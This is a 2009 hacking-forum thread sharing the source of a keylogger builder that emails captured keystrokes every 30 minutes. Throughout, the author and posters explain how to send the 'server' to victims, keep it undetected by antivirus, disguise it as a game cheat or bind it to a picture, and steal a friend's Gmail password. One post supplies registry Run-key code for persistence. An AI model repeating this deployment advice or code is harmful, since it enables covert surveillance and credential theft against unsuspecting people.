Thread: [\[New\] Tiny Keylogger 1.0 \[Source\]](#)

Farhan879 - July 4, 2009, 10:16 am

[img]http://img9.imageshack.us/img9/2825/prevk.png[/img]

Well i had nothing to do so i came up with my own keylogger to kill time. This was my first try on a keylogger ever.

Pretty simple to use. Just enter your account information and click build. Send your server to your victims and it will send the logs to you via mail every 30 minutes. The source is in the download liink. Feel free to mod it, modify as you wish. Server is FUD.

[warn]

Enjoy there. ?

EDIT:

I've noticed that this doesn't send the logs after every 30 mins. Please do not ask me to fix, you do it as this is an opensource.

t0ks1ck™ - July 4, 2009, 10:24 am

Cool.. im gonna try it.. thanks for sharing.. im downloading it right now... Looks great :P

Hmm.. how do you use it? Lol.. there is no exe.. :S

EDIt.. nvm.. found the exe

CEO_MONSTER - July 4, 2009, 10:28 am

definatly gonna try this...

i think this would work great with the fud toorjan downloader...

what say

Farhan879 - July 4, 2009, 10:47 am

No problem you guys. Enjoy it. And btw, its coded in vb.net.

Vixco - July 4, 2009, 2:00 pm

Nice dude. I'm pretty new to hacking and I was wondering if you could tell me how to get this on someone else's computer? Do I have to get them to run the server .exe?

Black Shadow - July 4, 2009, 2:40 pm

Adzi,,fEr - July 4, 2009, 2:42 pm

good job farhan ? I think I'm gonna work my ass off porting it to vb6 if u don't mind :)

MC' - July 4, 2009, 2:43 pm

thanks.

ill take a look

MoNeY BaGz - July 4, 2009, 4:21 pm

ill try it, looks good,

Nerak - July 4, 2009, 4:30 pm

Looks great, thanks very much.

MoNeY BaGz - July 4, 2009, 5:03 pm

DL link is not workin

b22stard - July 4, 2009, 5:11 pm

Theres only the builder's source but could we get the server's source too ?

///EDIT

I didn't see this at the first point. It's included too. Thanks.

Adzİ,,İEr - July 5, 2009, 3:13 am

just to let u ppl know, only stupid people get the source to compile it :P are u one of them?

drunkenmonkey - July 5, 2009, 4:04 am

does it work cause ... i dont get logs (maybe thats because no-one dl it)

Farhan879 - July 5, 2009, 5:42 am

(Jul 5, 2009 03:13 AM)Adzter Wrote: [\[CITE\]](#) just to let u ppl know, only stupid people get the source to compile it :P are u one of them?

I fucking fuck fuck fuck swear i didn't rip this source. No shit. I made this myself 10000000000%.

loka - July 5, 2009, 5:46 am

hi, i am trying this program...plz what is the name of the file where the source code is ?
and what is the program we should use to modify it ? hexeditor ?
thanks a lot

Opaki - July 5, 2009, 5:47 am

This thing does not work. Please correct me if i'm wrong!

Farhan879 - July 5, 2009, 5:51 am

You two, you need to have Microsoft Visual Basic 2008 to open it. If you don't have it installed, go to the /bin/release/Tiny Keylogger.exe to use the Exe.

Opaki - July 5, 2009, 6:05 am

Im not gettin any logs ot my email. Someone confirm that program works!

Farhan879 - July 5, 2009, 6:15 am

It sends the log every 30 minutes, take note of that. If you want it to be earlier, edit the timer interval.

Or make sure you entered the Gmail Account and password correctly. I've tested this myself and it works.

Zuaro - July 5, 2009, 6:29 am

I've a Q: If I run this at my own pc it'll add it self to Start up?

And after I run it how can i delete it so It dont send any more emails because i only want to test it for 1 time.

KittensEathingDogs - July 5, 2009, 6:37 am

sorry im a noob, i downloaded this and i cant find the .exe to create the logger anywhere

Zuaro - July 5, 2009, 6:40 am

(Jul 5, 2009 06:37 AM)KittensEathingDogs Wrote: [\[CITE\]](#) sorry im a noob, i downloaded this and i cant find the .exe to create the logger anywhere

This is that path: Tiny Keylogger\Keylogger\Keylogger\Keylogger\bin\Release

KittensEathingDogs - July 5, 2009, 6:41 am

what does the stub do?

gThief - July 5, 2009, 6:59 am

sends the email i guess

Farhan879 - July 5, 2009, 7:24 am

No this doesn't add to startup.

And, ignore the stub. And do not delete the stub.

yL. - July 5, 2009, 7:25 am

Is it still fully FUD? if so i want it!

Farhan879 - July 5, 2009, 7:26 am

Yea it should be. Only 20+ downloads.

+Rep if you like it. ?

KittensEathingDogs - July 5, 2009, 7:35 am

so if i run the keylogger on my own ocputer it wont do anytihing bad just run a logger ? because i want to test it

a303 - July 5, 2009, 7:39 am

The download link isn't working.

Farhan879 - July 5, 2009, 7:43 am

@KittensEathingDogs

No it doesn't. No adding to startup shit. Nothing. Just plain logging keystrokes and sending to you via mail. (every 3m mins)

@Lean_2_hack

It is. I tested it before i posted this reply.

Edit: Uploaded a MU link

billonis - July 5, 2009, 8:17 am

Can anyone else confirm this is working? This one shows up on the task manager + when i press switch to the programm the victim can see my email and the pass !

Farhan879 - July 5, 2009, 9:11 am

What do you mean the victim can see the email and pass?

And for the task manager, it won't hide in the process list. This is just a basic keylogger.

Adzi,1Er - July 5, 2009, 12:15 pm

after some skids will make it detected I'm gonna take some time to FUD it again ?

MoNeY BaGz - July 5, 2009, 2:48 pm

where is the server.exe?

drunkenmonkey - July 5, 2009, 3:01 pm

what is the user ?

blacjack

or

blackjack@gmail.com

note , blackjack isnt my account xD it was an example

MoNeY BaGz - July 5, 2009, 3:03 pm

when i enter it, where is the completed server.exe

drunkenmonkey - July 5, 2009, 3:05 pm

Tiny Keylogger\Keylogger\Keylogger\Keylogger\bin\Relea

| .At0m. | - July 5, 2009, 3:10 pm

(Jul 5, 2009 03:03 PM)MoNeY BaGz Wrote: [\[CITE\]](#) when i enter it, where is the completed server.exe

It should be in the same place as the builder.

MoNeY BaGz - July 5, 2009, 3:37 pm

where only thing there is the builder and sub

vienna_calling - July 5, 2009, 6:00 pm

on the first place why do you need the GMAIL PASSWORD to be entered here?? trying to PHISH???

m4tth3vv - July 5, 2009, 6:11 pm

^ You are so stupid. That's how it sends the log.

just create a new gmail account. every keylogger that sends logs to email needs the password.

Farhan879 - July 5, 2009, 6:19 pm

Lol exactly.

dasefx - July 5, 2009, 7:31 pm

thanx Farhan879 very good

Farhan879 - July 5, 2009, 7:35 pm

No problem, enjoy it. ?

confide - July 5, 2009, 8:14 pm

Posting this on 4chan lol, hopefully the chantardz aren't smart enough to ctrl alt del.

this is great though, could do for some improvements (like not be able to end it, run at startup) but this is great for a small piece of work.

+rep

the i realized i don't know how to rep!

Revelation - July 5, 2009, 8:40 pm

Can you show me an example of the logs?

Farhan879 - July 5, 2009, 9:06 pm

Code THIS AN EXAMPLE LOG. TEST TEST 123

Pretty simple. That's what you'll see on your mail. Doesn't records special character like .,/ @# etc.

It would either appear as % or a square character.

confide - July 5, 2009, 9:10 pm

hmm. sketchy, still like it.

thanks

Farhan879 - July 5, 2009, 9:11 pm

No problem, enjoy it. ^.^

hinasugar - July 5, 2009, 10:18 pm

I am so glad to see a free keylogger. However, I am very new at this and was hoping that you could help me how to use it. I really don't know how to use it. Can it be used for remote keylogging on some other computer other than mine? If so, please please please teach me how to use it. I would really appreciate it!!! You rock!!!

Hina

Farhan879 - July 6, 2009, 12:12 am

Alright, what you do is create a server, send it to your victim and check your mail every 30 minutes. You will see all the stuff that the victims typed on their computer. Pretty basic.

\$up - July 6, 2009, 1:32 am

I seem to like this, nice and basic and works like a charm. How detectable is this?

Farhan879 - July 6, 2009, 1:33 am

FUD. ?

\$up - July 6, 2009, 1:41 am

(Jul 6, 2009 01:33 AM)Farhan879 Wrote: [\[CITE\]](#) FUD. ?

Thank you, I thought so. I downloaded another one called Shockwaves Keylogger which is the source code of this one but you can have an FTP account.

I don't get the gmail.

My gmail email is laxtecombo@googlemail.com

Do I only need to put laxtecombo in the gmail username box?

Farhan879 - July 6, 2009, 1:52 am

Googlemail and Gmail are different.

\$up - July 6, 2009, 1:57 am

(Jul 6, 2009 01:52 AM)Farhan879 Wrote: [\[CITE\]](#) Googlemail and Gmail are different.

Nope, search it in Google.

So what extension would I need? @gmail.com or should it still work even though my extension is @googlemail.com

Because people have downloaded but I don't seem to be getting any logs.

Farhan879 - July 6, 2009, 2:24 am

It should be @gmail.com

\$up - July 6, 2009, 8:24 am

(Jul 6, 2009 02:24 AM)Farhan879 Wrote: [\[CITE\]](#) It should be @gmail.com

You can't get @gmail.com emails anymore, if you can provide me a link.

RoarMan - July 6, 2009, 10:08 am

(Jul 6, 2009 08:24 AM)\$up Wrote: [\[CITE\]](#) You can't get @gmail.com emails anymore, if you can provide me a link. You still can get @gmail's, I made one today. Just go [here](#)

And great work Farhan, very nice logger.

Baalberith - July 6, 2009, 10:27 am

So do u put name@gmail.com into the field, or just "name"?

|.At0m.| - July 6, 2009, 10:28 am

(Jul 6, 2009 08:24 AM)\$up Wrote: [\[CITE\]](#) You can't get @gmail.com emails anymore, if you can provide me a link.

You can, "gmail" is just a shortening of "googlemail". In other words, the "g" stands for "google".

Just go to the link RoarMan provided and register. (Jul 6, 2009 10:27 AM)Baalberith Wrote: [\[CITE\]](#)

First of all, you are probably too stupid to post that kind of reply. Secondly, its a source. SOURCE.

How stupider can you be? Why don't you stop being like a stupid script kiddie and examine the source instead?

Look at me. Look at my rep, look at the number of replies and views. Do i look like i'm going to steal your passwords?

Its obvious that you don't know a bit of programming. Think before you say. ?

Blackhawk1 - July 9, 2009, 9:37 am

No, but I expect you to read the thread next time. I've already answered this.

1. The code is there
2. You have to enter in your gmail and password
3. YOU CREATE A NEW FUCKING ACCOUNT
4. Most, if not all, keyloggers that send logs to emails work this way.

Seriously stop being such a noob.

washburn214 - July 9, 2009, 6:30 pm

(Jul 9, 2009 09:37 AM)Blackhawk1 Wrote: [\[CITE\]](#) Can someone help me with thisThe Source code is writtten in vbnet.. you must have VS2008.. Edit the source code if you want.. then Build your project.. the binary will be found on bin\release folder.. ???

Farhan879 - July 10, 2009, 1:12 am

(Jul 9, 2009 06:05 PM)mathaeus Wrote: [\[CITE\]](#) No, but I expect you to read the thread next time. I've already answered this.

(Jul 10, 2009 01:12 AM)Farhan879 Wrote: [\[CITE\]](#) Finally someone is this thread really aint such a noob. ?

Doesn't work for me this is what I put..

myemail@gmail.com

thisismypassword

Then I made it....thats its?

Its not working for me if thats soo.

mrsulko - July 10, 2009, 1:27 am

guys, can someone tell me what does "adding to startup " means ??

IceOnFire - July 10, 2009, 1:28 am

(Jul 10, 2009 01:27 AM)mrsulko Wrote: [\[CITE\]](#) guys, can someone tell me what does "adding to startup " means ??

That means, whenever they turn there computer off. Then on, it will automatically start the keylogger again...

mrsulko - July 10, 2009, 1:41 am

(Jul 10, 2009 01:28 AM)IceOnFire Wrote: [\[CITE\]](#) That means, whenever they turn there computer off. Then on, it will automatically start the keylogger again...

Ahaamm.. So that means that I will have to send the keylogger to the victim every day. :S

IceOnFire - July 10, 2009, 1:52 am

(Jul 10, 2009 01:41 AM)mrsulko Wrote: [\[CITE\]](#) Ahaamm.. So that means that I will have to send the keylogger to the victim every day. :S

Pretty much, just hope he doesn't turn it off. Try asking how to add the program to start-up in the batch section

Farhan879 - July 10, 2009, 3:06 am

It sends the log to you every 30 mins so you have to wait. If you want to decrease it, edit the source timer interval.

mrsulko - July 10, 2009, 1:50 pm

doesn't work for me either...

| .At0m. | - July 10, 2009, 1:54 pm

(Jul 10, 2009 01:41 AM)mrsulko Wrote: [\[CITE\]](#) Ahaamm.. So that means that I will have to send the keylogger to the victim every day. :S

No you don't have to send it to them everyday, it means it (the keylogger) automatically runs when the computer is turned on.

nighthawk828 - July 10, 2009, 10:03 pm

can you please write out a tut for this?? i am a complete noob when it comes to keylogging.

I downloaded the file, i put in a gmail account and password. and then what exactly do i send to people that i want to get?

i want to send it by email to other people and have them download w.e is needed making them think its something else?? if that makes any sense lol

I understand that the logs will be on the email address, but what do i send to them (people over the internet) to get the logs??
please help me ?

Farhan879 - July 10, 2009, 10:24 pm

If you mean you wanna view it on the net then just edit the smtp to ftp.

nighthawk828 - July 10, 2009, 10:36 pm

i wanna pass it along on internet games, like neopets or runescape or nitto, games like that... i want to send it to people with a message saying go here and download "blablabla" and you will get free stuff or w.e... what do i have to do to do that? it would help if you could give me a step by step thing from the VERY start, because i am a complete noob, would mean a lot to me.. thanks

Farhan879 - July 10, 2009, 10:38 pm

Post it at Yotube, Forums etc..

nighthawk828 - July 10, 2009, 10:41 pm

ok, but i am a COMPLETE noob lol... what part of the thing i downloaded am i sending to people?

i have NO IDEA where to start after i downloaded the file.

i downloaded it and extracted it.. now what do i do? please tell me step my step...

Farhan879 - July 10, 2009, 10:42 pm

You need to have Visual Basic 2008 installed as this is a source code.

nighthawk828 - July 10, 2009, 10:48 pm

ok i downloaded Visual Basic 2008, now what do i do???

Farhan879 - July 10, 2009, 11:05 pm

View the source, DUH!

nighthawk828 - July 10, 2009, 11:19 pm

ok i opened it up to view it.. what setting do i use though... i understand you are good with this, i mean you made it, but i am not i do not know how to do ANYTHING this is my first keylogging attempt ever, so can you please tell me STEP by STEP what do to do create the keylogger, get it ready, and send it to people over online games? thank you

Farhan879 - July 10, 2009, 11:23 pm

(Jul 10, 2009 11:19 PM)nighthawk828 Wrote: [\[CITE\]](#) ok i opened it up to view it.. what setting do i use though... i understand you are good with this, i mean you made it, but i am not i do not know how to do ANYTHING this is my first keylogging attempt ever, so can you please tell me STEP by STEP what do to do create the keylogger, get it ready, and send it to people over online games? thank you

Dude, the steps are easy. I don't even think they are steps.

- 1) Build the Server and send to a victim
- 2) Check your mail every 30 minutes and you'll see all the stuff the victim had typed.

That's all.

Go learn some programming then start hacking.

nighthawk828 - July 10, 2009, 11:33 pm

Can you explain to me how to build the server please? thats what i need...?? and how do i setup that it sends to my email?

Farhan879 - July 10, 2009, 11:36 pm

Dude, the builder is in the exe, enter your email and password and click build?

nighthawk828 - July 10, 2009, 11:45 pm

ok, open the exe. type in my email and password, click build.. and then what? how do i edit it from there and send it to people?

before this i opened up the keylogger.vbproj and edited the text inside to make it look like i wanted it to, so that it doesnt say "tiny keylogger" or "gmail username:" and stuff since i dont the people i send it to, to be logging into gmail.. i want them to think its a cheat to a game.

Farhan879 - July 10, 2009, 11:50 pm

Dude, enter email click build and send the server to other people. Is it hard to understand?!

mazing - July 13, 2009, 12:04 am

lol farhan i think nighthawk is mentally retarded.

i sent my server to 2 different people tonight but after waiting over an hour got no new messages on gmail. don't know if i did anything wrong or maybe they just deleted it once they downloaded it?

Clive - July 13, 2009, 1:36 am

Cool little tool, nice and simple :P?

TZ- - July 13, 2009, 4:48 pm

after those stupid questions and comments normal people get strong desire to shot somebody or commit suicide in 2 easy steps.

I mean, where the fuck is problem to put email and password in clearly marked fields ? Where is the hard part, jeeezzzz ! ?

IcyChill69 - July 13, 2009, 5:30 pm

Ok so correct me if i wrong but what you do is enter your gmail user info, the server is created, you can then upload server.exe to a file hosting site and get people to download it and that is all you have to do, correct?

JjClever? - July 13, 2009, 10:00 pm

Hmm, how difficult is it to add it to startup or hide it from task manager?

Awcdfri - July 14, 2009, 1:19 am

Download link doesn't work for me >.<

Farhan879 - July 14, 2009, 2:07 am

There's a backup link.

scott - July 14, 2009, 2:50 am

make them use search i mean its pretty easy to find out how to use this but farhan dont help them really....

cet90 - July 14, 2009, 3:21 am

i test on my own computer and i start the server.exe and the task list shows it is working but...i keep check my gmail after 1 hour but ntg was receive??

and also...when alt+tab there is a form1 running....it shows it is keylogging...

Farhan879 - July 14, 2009, 4:08 am

Idk why its not working for you lol maybe you might wanna fix some bugs in there.

Awcdfri - July 14, 2009, 6:44 pm

How come download link doesn't work for me.

bam - July 14, 2009, 6:49 pm

looks very easy to use, downloading now. thanks:D

Kaspersky - July 14, 2009, 7:35 pm

I tryed, on some of my enemy's but i didn't get any logs yet over 1 hour and I've seen them download and say my fake hack didn't work.

Farhan879 - July 14, 2009, 10:39 pm

Hmm weird it does work for me. Try editing the timer interval cause maybe i did a calculation error of 30 minutes in milliseconds. Anyways, i'm not gonna fix it.

skrm - July 14, 2009, 11:38 pm

Well im having the same problem as everyone else is, the logs arnt bieng sent to my Gmail. So seeing as you think the google Gmail isnt the right one, im guessing im not using the right one. Ive searched on google for "Gmail" but all that comes up is the google Gmail, so could you post a link of where you got your Gmail account please. Maby this will solve some problems :)

Druido - July 15, 2009, 12:48 am

it makes two files, server.exe and stub.exe . Send only server.exe to victim?

Trident - July 15, 2009, 2:55 pm

(Jul 15, 2009 12:48 AM)Druido Wrote: [\[CITE\]](#) it makes two files, server.exe and stub.exe . Send only server.exe to victim?

yes, that must be obvious.

Đ?†?x - July 15, 2009, 2:57 pm

Create an quick tutorial for everyone.

IcyChill69 - July 15, 2009, 3:18 pm

(Jul 15, 2009 02:57 PM)dennex Wrote: [\[CITE\]](#) Create an quick tutorial for everyone.

Tutorial:

It doesnt work

iTRauma - July 15, 2009, 3:21 pm

Thanks looks pretty good and easy to use :)

Kaspersky - July 15, 2009, 3:40 pm

You should really fix the sending part..

judocol - July 16, 2009, 12:14 am

Hi there, your key logger looks really good and it was undetected by my AVG. I have tried looking at your source code, to try and change its name from Tiny keylogger when it is running in task manager, to something that might go un noticed. I am having trouble though finding that part in ur code.

Any help that u could give would be great

thanks

stennis1 - July 16, 2009, 1:44 am

What stupid ass made a scan for this 1?

Code

<http://scanner.novirusthanks.org/index.php?session=39090015374915927478499276478185172180666742>

Oh great finally its detected amen. Thanks noobs.

Kthanxbai

H3LL - July 16, 2009, 3:20 am

(Jul 16, 2009 02:57 AM)Farhan879 Wrote: [\[CITE\]](#) Oh great finally its detected amen. Thanks noobs.

Kthanxbai

When you say them noob, a lot of people are actually already judging you a terrible noob. Giving out a source code and helping people is a good attitude, but you need to know that it will definitely be detected.

Being a hacker(probably you're not) you need to know what are the possible outcomes of sharing your personals. Source codes being shared means they go public, and public means detected

?

Farhan879 - July 16, 2009, 3:35 am

This method of keylogging was not very good so i decided to release it as a simple example.

I'm working on a real keylogger which i s like 10 times better than this. And yea, of course i am so stupid to post something that is a private keylogger and FUD (But when i compiled this i didn't expected to be FUD)

H3LL - July 16, 2009, 3:38 am

Too bad then, bet you don't realise that the more function it has the more easier it is detected. That's why a simple keylogger is fud.

Farhan879 - July 16, 2009, 3:40 am

I'm so sure about that. Lets see about it.

MiNi-SO - July 16, 2009, 4:24 am

huh , is it do in visual basic 6 , or 2008 plz thx

Farhan879 - July 16, 2009, 4:39 am

2008

Dirty_Moon - July 16, 2009, 5:06 am

yeah cool keylogger farhan is really good coder good job keep it up

cet90 - July 16, 2009, 5:08 am

not working...tested many times...duno y...

when u guys press alt+tab u should see a form1 application running...this let plp noe u r spying!!!
but still a good effort!! Keep it up!!

Farhan879 - July 16, 2009, 5:13 am

I don't care much about it. An example is an example, not a real one.

numan007 - July 16, 2009, 5:18 am

Ya you are right man it is just a sample

Kaspersky - July 16, 2009, 5:29 am

No wonder it does not send anything to your email even though you got victims..

[VoLTaGe] - July 16, 2009, 5:31 am

(Jul 16, 2009 05:29 AM)Kaspersky Wrote: [\[CITE\]](#) No wonder it does not send anything to your email even though you got victims..

Are you sure the Keylogger even works anymore?

Farhan879 - July 16, 2009, 5:50 am

It does for me.

Trident - July 16, 2009, 3:18 pm

hey does it have to be at gmail or at googlemail?

and can you tell me how i would go on to edit the fud settings, if something goes detectable?

Creation X - July 16, 2009, 3:51 pm

:) thanks for this. I'm new to this forum, and I was looking for a hack. Can't wait to contribute (hopefully.)

iTRauma - July 16, 2009, 4:50 pm

could you compile and upload to original post? please. ;)

Fartman - July 16, 2009, 7:09 pm

so, i can get someone's password with this?

GreekMan - July 16, 2009, 8:58 pm

This sounds good! Im going to try it out! Thanks!

Big.Eye - July 16, 2009, 11:05 pm

looks awesome !!!!!!!!!!!!!!!!!!!!!

Some random noob must have uploaded it to virustotal. ???

BONKERZ - July 17, 2009, 6:37 am

i set up server and know accs came to me after 2 hrs

YaWn - July 17, 2009, 7:42 am

Has this worked for anyone other than Farhan?

Farhan879 - July 17, 2009, 8:23 am

Look, the important main function is keylogging. Not about sending logs. You can fix that in a blink of eye.

IcyChill69 - July 17, 2009, 10:16 am

Sorry, new to this stuff. Care to tell how to fix it?

SØMNIUM.EXE - July 17, 2009, 10:19 am

This is very suspicious....

Only G-mail password and G-mail account to make a keylogger...

the gost - July 17, 2009, 10:23 am

why this keylogger need my password account?? :p

IcyChill69 - July 17, 2009, 10:37 am

change your password if you tried to use this just in case.

Owneh - July 17, 2009, 2:36 pm

Wtf? It needs your password to send it to your account? He most likely doesnt have a gmail acc so your own account sends the email to yourself.

Black Shadow - July 17, 2009, 2:58 pm

Do you have a tut with this?

by the way thanks very much! ?

lolallthewayhome - July 17, 2009, 6:41 pm

Huge noob here. Okay so I downloaded it, extracted, and found the server.exe by going to the release folder. I built my server. Now what? I have to find a host site right? Can you explain to me how do i do that? Like, when I make an account on a host site, what do I do after that?

Also (sorry for all the questions ?) but how do I bind it with something else. I know I need a program. Any suggestions?

Fartman - July 17, 2009, 7:14 pm

(Jul 4, 2009 10:16 AM)Farhan879 Wrote: [\[CITE\]](#)

[img]http://img9.imageshack.us/img9/2825/prevk.png[/img]

Well i had nothing to do so i came up with my own keylogger to kill time. This was my first try on a keylogger ever.

Pretty simple to use. Just enter your account information and click build. Send your server to your victims and it will send the logs to you via mail every 30 minutes. The source is in the download liink. Feel free to mod it, modify as you wish. Server is FUD.

[dl]http://www.#!/?d=2QEFLOOE[/dl]

Please do +Rep if you have downloaded the source. Enjoy there. ?Where's the server.exe after I build it?

Explicitly - July 17, 2009, 7:52 pm

Do they have to open the server everytime for it to work?

Fatal RZA - July 17, 2009, 7:57 pm

Its just the source, can you share the exe please, thanx

if possible use [MediaFire](#), thanx allot

Farhan879 - July 17, 2009, 10:42 pm

Guys, you don't use it for a real keylogger, this one is just a sample not a real one!!! -,-

ITS A SOURCE FOR YOU TO LEARN OMG

Devin - July 18, 2009, 7:21 am

Yeah, I'll try it out. Because I want my friends gmail account lol. I tried it out. Can you post a tut on how to use it? New to hacking

IcyChill69 - July 18, 2009, 8:40 am

short

StarZ - July 22, 2009, 6:41 pm

(Jul 14, 2009 07:35 PM)Kaspersky Wrote: [\[CITE\]](#) I tryed, on some of my enemy's but i didn't get any logs yet over 1 hour and I've seen them download and say my fake hack didn't work. maybe enable timer 2 in the src? by default its dissabled.

Blistix - July 22, 2009, 7:41 pm

Is it just me or my security detecting it its like hes keylogging you whil you do other?

Or aim i wrong?

StarZ - July 22, 2009, 8:04 pm

Code to add to startup:

```
Public Shared Sub AddStartup(ByVal Name As String, ByVal Path As String)
    Dim Registry As Microsoft.Win32.RegistryKey = Microsoft.Win32.Registry.CurrentUser
    Dim Key As Microsoft.Win32.RegistryKey =
Registry.OpenSubKey("Software\Microsoft\Windows\CurrentVersion\Run", True)
    Key.SetValue(Name, Path, Microsoft.Win32.RegistryValueKind.String)
End Sub
```

AddStartup("Exe Name here", Application.ExecutablePath) 'Starts program with windows

kylhuddleston2@aim.com - July 22, 2009, 9:58 pm

k downloaded ok a built now im tryin to uploadin it to # but i dont know what to upload i kno im a noob but help would be appreciated
nvm figured it out

quletko - July 23, 2009, 6:01 am

wow!! good job mate..im going to try it now.i hope it workz..

YaWn - July 23, 2009, 7:44 am

@Farhan

Could you maybe change up the title of this thread so that these people know that this isn't a "working" kl, but rather only the source.

As it is right now, it puts forth the impression that this is a working kl with the "source included".

Change the assembly settings.

Radino321 - July 29, 2009, 11:44 pm

ty man !.....

FrenchcoreRadio - July 30, 2009, 1:17 am

it aint working... it doesnt send it to my gmail acc. :s

Farhan879 - July 30, 2009, 2:25 am

Fix it yourself lol.

lolallthewayhome - July 30, 2009, 2:24 pm

Very simple yet effective. I'll send it to some people to test it out ?

lolallthewayhome - July 30, 2009, 5:04 pm

I'm sure i did something wrong so please just correct me. I downloaded, set up, used easy binder to bind it to a picture and made the output the tiny keylogger. I sent it to some people and I still haven't gotten any logs. I sent it to about 10 people about an hour and a half ago. What did I do wrong??

Farhan879 - July 30, 2009, 6:22 pm

For some reason, it doesn't send idk why. There must have been some bug in the source which im lazy to fix.

wardragon36 - July 30, 2009, 6:46 pm

y do u need gmail ur gonna hack us or something

Farhan879 - July 30, 2009, 6:51 pm

You need it to send to the logs to you.

Byte - August 2, 2009, 2:27 pm

LMFAO at warddragon36, you fail big time.

It uses the GMAIL password, so it logs into the gmail, and sends it to yourself.

Don't say such stupid things...

Anti-Malware - August 2, 2009, 5:31 pm

compiling it right away!!

[msg too short]

shweetu - August 4, 2009, 11:10 am

hey farhan i wanna know the features.. and yea nice software man.. i will try it for sure.. not working... it is not sending logs.. :(

i thought it worked!! not working... it is not sending logs.. :(

i thought it worked!!

tylerdav44 - August 4, 2009, 11:55 am

do you know where i can find the server.exe after i build it?

Rebellious - August 4, 2009, 1:22 pm

Uhh... Looks great, but how am I supposed to use it/install to actually get to the build menu?

DjProgressive - August 5, 2009, 3:39 pm

looking interesting, ill check it

echelon60 - August 10, 2009, 2:40 am

When Putting In Your Gmail Account Name.

Does It Want What The Gmail log in Want(eg Gmail Username: Echelon60.), Like How Its Just the

name. or Including the @gmail at the end (eg Gmail Username: Echelon60@gmail)

Farhan879 - August 10, 2009, 3:59 am

Yea include @gmail.com at the back.

GreenTeam™ - August 10, 2009, 7:20 pm

works for me 2 after I went through the code and edited it to my likings and made it FUD with my cryptor

Demented - August 10, 2009, 7:25 pm

Does it work exactly?

Example: doesn't show [Bspace] and etc.. It shows every keystroke correctly?

If so I'll download it, and good Job :D

Farhan879 - August 11, 2009, 3:30 am

Nah it shows a weird character when you press backspace. I'll post one which records like [backspace] etc later. I'm busy with some stuff.

bellita - August 11, 2009, 4:14 am

@Farhan879 good yob man I'm now testing that keylogger I hope so it's work btw: can u explain me how to change/create a fud stub ;] thanks. reply: I read all 23 pages and i have to say What to fix in the code stub or keylogger and whta to fix thanks for replys.

Farhan879 - August 11, 2009, 7:24 am

You have to fix the timer in the stub that's all. That's the small glitch.

DarkItachi - August 11, 2009, 11:11 am

Tell me pls...

Why is the interval 1000 = 60 seconds?

thx

Farhan879 - August 12, 2009, 5:48 am

Idk you google it.

H3LL - August 12, 2009, 6:13 am

(Aug 11, 2009 11:11 AM)DarkItachi Wrote: [\[CITE\]](#) Tell me pls...

Why is the interval 1000 = 60 seconds?

Ahhh sry and thanx...

In my Book i read, that 1 seconds does got have 100 ms....

hmmm...

Farhan879 - August 14, 2009, 7:57 am

(Aug 12, 2009 10:39 AM)G3NN0C!d Wrote: [\[CITE\]](#) totally FAIL!!!!!! doesn't work :A

It doesn't fail. It has a built in builder which rarely people release with that function open source. The problem lies with the timer in the stub that's the small glitch. Go learn some programming before blurting out your words.

fravg - August 21, 2009, 2:47 pm

I'll give this a go now. Is this VB8?

+Rep for you!

timtom - August 21, 2009, 6:27 pm

when i try to test run it it fails to execute

?Border?ineExtr(A) - August 22, 2009, 3:38 pm

(Aug 14, 2009 07:57 AM)Farhan879 Wrote: [\[CITE\]](#) It doesn't fail. It has a built in builder which rarely people release with that function open source. The problem lies with the timer in the stub that's the small glitch. Go learn some programming before blurting out your words.

that;s wht im doing, learning, but i cant get it to work, but it is clearly NOT my fault!!!

soules223 - September 2, 2009, 2:28 am

hey what do you mean by timer is glitch..... ahh i mean as in how do we fix it

SgtPunishment - September 4, 2009, 12:39 pm

I know I may be bumping an old topic, I got it working, but how do I make it pick up every keystroke? because it's got gaps, I'll post a section from my logs when I just tested it

From the logs

Code I NKI SWALLOWED A BU 1

What I was typing in note pad

Code i think i swallowed a bug!

any suggestions?

Farhan879 - September 4, 2009, 5:49 pm

That method of keystroke is really bad. Sooner or later i'll post a better hook. I'm just busy with some stuff atm.

SgtPunishment - September 5, 2009, 3:08 am

fair enough, but thanks for the release, it does work, and it's awesome.

Farhan879 - September 5, 2009, 3:14 am

I'm glad you appretiated it. ?

SgtPunishment - September 5, 2009, 3:37 am

had to figure out why it wasn't working to start with, then I realised one of the timers wasn't enabled, so enabled that, and changed it to 5 mins for log sending instead of 30 mins, and it works like a charm, I've added SHA1 encryption thanks to Miharbi for the tutorial, I'm slowly getting into encryption now... Oh, and I changed the code slightly, added a 3rd text box, so you can now save the server as what ever you want (rundll32.exe, or cockbite.exe) which I think is a neat feature.

Farhan879 - September 5, 2009, 4:46 am

Dude, finally out of all the members who posted here, i think you are the only one who actually fixed the timer. That's what i wanna see.

SgtPunishment - September 5, 2009, 5:06 am

Did you rep me? rofl, I mean it wasn't that hard, same with the facebook freezer, you disabled that I re-enabled it and hey, it worked lol

Edit: Nevermind found out who +rep'ed me

ubbelol - September 5, 2009, 5:07 am

(Sep 4, 2009 12:39 PM)SgtPunishment Wrote: [\[CITE\]](#) I know I may be bumping an old topic, I got it working, but how do I make it pick up every keystroke? because it's got gaps, I'll post a section from my logs when I just tested it

TrendMicro 425(642500) 1.1-1001 -
VBA32 08/09/2009 3.12.0.300 -
VirusBuster 10.112.30 1.4.3 Trojan.Keylogger.CXK what are you trying

Farhan879 - September 8, 2009, 8:21 am
5/252 Still ain't bad.

Swiss Pheonix - September 24, 2009, 3:11 pm
How do I install this on another computer?

Jordan.. - September 25, 2009, 3:53 am
erm, why is it running x 4?
[IMG]http://i36.[censored].com/es6ul1.jpg[/IMG]

SOLVED!

nazley - September 25, 2009, 4:22 am
nice loving it :P bb woot nice done man! i hope u make more

stef111007 - September 25, 2009, 5:14 am
Nice, smart and looks good

SOLVED!
That's simply because you opened it four times.

newbie223 - September 26, 2009, 6:53 am
gotto say i could have told him that lol :D

lolz0r - February 1, 2010, 11:20 pm
nice job you did there

dakait - February 2, 2010, 2:07 am
invalid download link
please re-upload

---DMD--- - February 2, 2010, 5:39 am

Does it work with Windows 7?

-mothered- - February 6, 2010, 3:00 am

Was going to try this out, but the links provided are dead.

Never mind, thanks anyway :)

deli_kral - February 6, 2010, 8:15 am

indirdim cok iyi calisiyo fena hemde

mcier - February 11, 2010, 8:20 am

pls fix the links.. ^^

kami117 - February 11, 2010, 8:34 am

nice keylogger bro keep it up

ryant - March 17, 2010, 6:31 pm

fix links please :D otherwise it looks good
